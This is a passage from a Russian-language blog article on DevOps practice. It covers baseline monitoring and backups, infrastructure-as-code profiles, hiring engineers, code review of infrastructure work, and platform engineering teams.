* покрыть мониторингом все ключевые показатели жизнеспособности системы и не забыть про алерты;
* если в системе есть данные, иметь автоматический бэкап по расписанию, и не хранить его рядом с данными.
Если система работает на физическом оборудования, сюда надо добавить дублирование дисков и агрегацию сетевых интерфейсов.
Эти простые меры – по принципу Парето – составляют не более 20% действий по первичной настройке, но дают 80% вклада в стабильную и автономную их работу в будущем.
Если у вас уже есть provision-система, то следом можно подключить инструмент IaC, и накатывать все эти настройки всегда по умолчанию, через какой-нибудь базовый профиль. Я в такой профиль еще включаю набор обязательных утилит, чтобы, к примеру, в экстренной ситуации не оказалось, что в системе нет lsof, tcpdump и т. п.
Время и внимание хорошего девопса такие проблемы не отнимают, потому что он их еще в самом начале решил.
### Как не стать героем баек
В игре, которую мы ведем в жизни, многое зависит не только от того, что мы знаем и умеем, как и от того, насколько в себя верим. Между состояниями, когда ты еще просто админ, и когда ты уже причислен к сословию девопсов – граница весьма призрачная. И по упомянутым выше причинам люди стараются быстрее ее пересечь. Поучился по видосикам на ютубе – девопс. Запустил хром в докере у себя на компе – девопс. Засунул в гит всю свою папку с котиками – ну, тоже девопс.
Но на самом деле с изобретением DevOps наш мир радикально не поменялся. Он по-прежнему подчиняется законам физики, логики и здравого смысла. Просто невозможно стать качественным специалистом за несколько месяцев, пройдя курсы в онлайн-школе, обещающей сделать из вас гика. Настоящая квалификация куется годами, настоящий опыт мы получаем в основном на ошибках.
Нанимая ребят на позиции linux-инженеров/devops, мы в первую очередь смотрим на их способность мыслить, рассуждать, выстраивать цепочку связей. Немаловажен широкий технический кругозор и реальный практический опыт. И мы совершенно точно отдаем предпочтение тому кандидату, который лучше знает матчасть, так как больше уверены, что и с модными технологиями ему не составит труда разобраться.
### И напоследок – завет работодателям
Порой из-за хайпа кажется, что эти космические люди, творящие чудеса в консоли, всемогущи – но один девопс, даже самый талантливый, не может знать всего. ИТ давно уже превратилась в обширную отрасль, и в ней, как в медицине, два человека в белых халатах могут совсем друг друга не понимать. Когда стоматолог рассказывает проктологу про зубы, то вяло улыбается, потому что крыть нечем.
Если вам понадобился девопс, у вас вероятно уже есть разработка. Задачи, которые выполняет девопс – это та же разработка, только инфраструктуры и процессов, поэтому к ней в целом применимы те же правила. Над девопсом должен быть senior или тимлид, который через систему контроля версий делает code review, проверяет и одобряет PR/MR. И совершенно точно не стоит доверять архитектурные вопросы человеку без подтвержденного архитектурного опыта. Лучше поищите стороннюю экспертизу для подстраховки.
Мне также нравится концепция, когда отдельно от специалистов DevOps позиционируется еще одна команда - платформенных инженеров (Platform engineer). Она не работает непосредственно с девелоперами, но именно она снабжает девопса готовыми, отлаженными рычагами к этой платформе и уже настроенному инструментарию. Именно такой подход позволяет снизить планку требований к девопсу, позволяя ему спокойнее учиться и снижая риск его ошибок.
В этом месте ставлю не точку, а многоточие, так как тема неисчерпаемая и весьма холиварная. Комментарии, как говорится, покажут. | https://habr.com/ru/post/544028/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.